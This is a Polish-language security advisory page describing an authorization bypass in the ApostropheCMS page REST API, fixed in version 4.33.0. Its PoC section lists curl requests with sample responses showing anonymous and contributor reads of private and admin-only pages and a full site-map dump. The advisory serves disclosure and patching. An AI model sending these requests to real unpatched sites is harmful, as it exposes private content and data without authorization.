Średnia

ApostropheCMS: Pominięcie autoryzacji w API REST stron

  • Ujawniono: 20.10.2026
  • Aktualizacja: 20.10.2026 21:36

Podsumowanie

Główne API REST stron odczytuje pełne dokumenty stron za pomocą .permission(false) w getOne oraz w zrzucie drzewa all=1, pomijając kontrole typu strony viewRole, visibility: private oraz visibility: loginRequired. Nieuwierzytelnieni użytkownicy oraz współpracownicy o niskich uprawnieniach mogą odczytywać treści stron przeznaczone tylko dla administratorów oraz niepubliczne za pomocą _id/slug.

Szczegóły

packages/apostrophe/modules/@apostrophecms/page/index.js:

  • getOne (L456–465): await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria) — brak progu viewRole, brak filtrowania visibility.
  • Procedura obsługi all (L318–395): getRestQuery(req).permission(false) (L384–385) analizuje każdy typ strony i zwraca projekcję zawierającą visibility.
  • publicApiCheckAsync (L3044) sprawdza jedynie, czy publicApiProjection istnieje — nie wykonuje autoryzacji.
  • Prawidłowa kontrola działa inaczej: piece-type/index.js:getOne (L319–327) używa getRestQuery(req) bez .permission(false) i wymusza viewRole.

PoC

bash
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
#         "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}

# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1"        # → 200, full tree

# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz"   # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"   # → 403

Wpływ

Nieuwierzytelnione ujawnienie stron visibility: private i loginRequired (pełne dokumenty, nie tylko ścieżki) oraz kompletnej struktury witryny wraz z metadanymi widoczności/typu; współpracownicy mogą odczytywać typy stron dostępne tylko dla administratorów oraz ich chronione pola. Ponieważ _id są możliwe do wyliczenia i wyciekają przez all=1, problem ma charakter systemowy.

Co trzeba zrobić

Zaktualizuj ApostropheCMS do wersji 4.33.0 lub nowszej.

Alternatywnie usuń .permission(false) z getOne/all lub ponownie zastosuj próg typu viewRole wraz z tymi samymi kryteriami visibility/wymaganego logowania, z których korzystają ścieżki listy i autouzupełniania (odwzorowując piece-type); zmień publicApiCheck tak, aby sprawdzało tylko obecność konfiguracji i dodaj jawny krok autoryzacji dla każdego czasownika.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm apostrophe < 4.33.0 4.33.0

Odnośniki

Ocena CVSS 5.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Słabość (CWE)
CWE-863
Platforma
npm
Paczka
apostrophe
Ujawniono
20.10.2026
Aktualizacja
20.10.2026 21:36

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-2j32-q6rx-h844 - CC BY 4.0

Historia podatności: apostrophe

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (27) w archiwum
Wszystkich wpisów
27
Pierwsza → ostatnia
09.2020 10.2026
Bez poprawki
4
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 8
  • Średnia 13
  • Niska 4

Ujawnienia w latach

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Istotność:
  1. ApostropheCMS: Pominięcie autoryzacji w API REST stron ten wpis
    Średnia · 5.3 CVE-2026-110904 < 4.33.0 4.33.0
  2. Wysoka · 7.3 CVE-2026-45011 = 4.29.0 brak poprawki
  3. Krytyczna · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.